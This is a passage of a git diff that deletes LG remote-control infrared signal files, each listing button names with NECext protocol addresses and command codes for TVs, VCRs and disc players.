04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: tvvcr -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 3F 00 00 00 -# -name: lp -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B6 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B8 00 00 00 -# -name: cmskip -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir deleted file mode 100644 index 0db35a6df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 33 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: X_KEY_RETURN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: KEY_AB -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: X_KEY_PIP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5F 00 00 00 -# -name: X_KEY_MARKER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 62 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 67 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 75 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 76 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7C 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7D 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7E 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 7F 00 00 00 -# -name: X_KEY_RESOLUTION -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F5 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir deleted file mode 100644 index 48896f6a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: C/LOCK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 3F 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 -# -name: EZ_REPEAT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B6 00 00 00 -# -name: EZ_POWER_OFF -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B8 00 00 00 -# -name: CM_SKIP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir deleted file mode 100644 index 4e554b06f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: QView -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: MarkFav -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: TOpt -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: AVMode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: QMenu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: Simplink -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: EnergySaving -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: TvRad -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir deleted file mode 100644 index 6c1dd210a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 89 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B6 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B8 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir deleted file mode 100644 index 3eb1b2a18..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: p/still -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: clear/reset -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 -# -name: timer-prog -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 3A 00 00 00 -# -name: viss -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: trk- -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: trk+ -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: clock/count -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 58 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 59 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5D 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5F 00 00 00 -# -name: qview -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 77 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 7D 00 00 00 -# -name: system -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir deleted file mode 100644 index 6f4015305..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: review -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: fcr -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: caption -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: apc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: autoprg -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: memory/erase -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: wide/zoom -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir deleted file mode 100644 index 38b2c5833..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: P/STIIL -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: TRACKING(+) -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 44 00 00 00 -# -name: TRACKING(-) -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 45 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: OPR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: AF 00 00 00 -# -name: A.REPEAT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: B6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir deleted file mode 100644 index 8422f24f7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 